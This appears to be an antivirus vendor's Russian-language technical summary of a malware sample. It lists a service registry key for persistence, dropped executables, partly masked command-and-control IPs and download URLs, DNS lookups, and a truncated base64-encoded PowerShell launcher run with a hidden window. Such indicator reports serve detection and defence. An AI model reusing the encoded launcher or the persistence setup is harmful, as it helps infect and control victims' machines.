Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\ieakui] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ieakui] 'ImagePath' = '"%WINDIR%\SysWOW64\api-ms-win-core-xstate-l2-1-0\ieakui.exe"'
- 'ieakui' "%WINDIR%\SysWOW64\api-ms-win-core-xstate-l2-1-0\ieakui.exe"
- 'ieakui' %WINDIR%\SysWOW64\api-ms-win-core-xstate-l2-1-0\ieakui.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABHAGEANAAwAGYAbQA2AD0AWwBjAGgAYQByAF0ANAAyADsAJABUAGUAdABqADIAagB3AD0AKAAnAEgAJwArACcAegAnACsAKAAnAHgANgA3AGsAJwArACcAMwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQ...
- %HOMEPATH%\pzumlg8\n565cx2\y_v2ke.exe
- %HOMEPATH%\pzumlg8\n565cx2\y_v2ke.exe
- %HOMEPATH%\pzumlg8\n565cx2\y_v2ke.exe в %WINDIR%\syswow64\api-ms-win-core-xstate-l2-1-0\ieakui.exe
- %HOMEPATH%\pzumlg8\n565cx2\y_v2ke.exe
- '69.##6.132.149':80
- '16#.#41.140.129':8080
- http://vi###ohomem.com/wp-content/ehiZ/
- http://16#.###.140.129:8080/VqiTMKZ/eCBXVcGBlBQ0/ via 16#.#41.140.129
- DNS ASK vi###ohomem.com
- DNS ASK at##tx.com
- DNS ASK we###chieu.com
- DNS ASK cu##el.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABHAGEANAAwAGYAbQA2AD0AWwBjAGgAYQByAF0ANAAyADsAJABUAGUAdABqADIAagB3AD0AKAAnAEgAJwArACcAegAnACsAKAAnAHgANgA3AGsAJwArACcAMwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQ...' (со скрытым окном)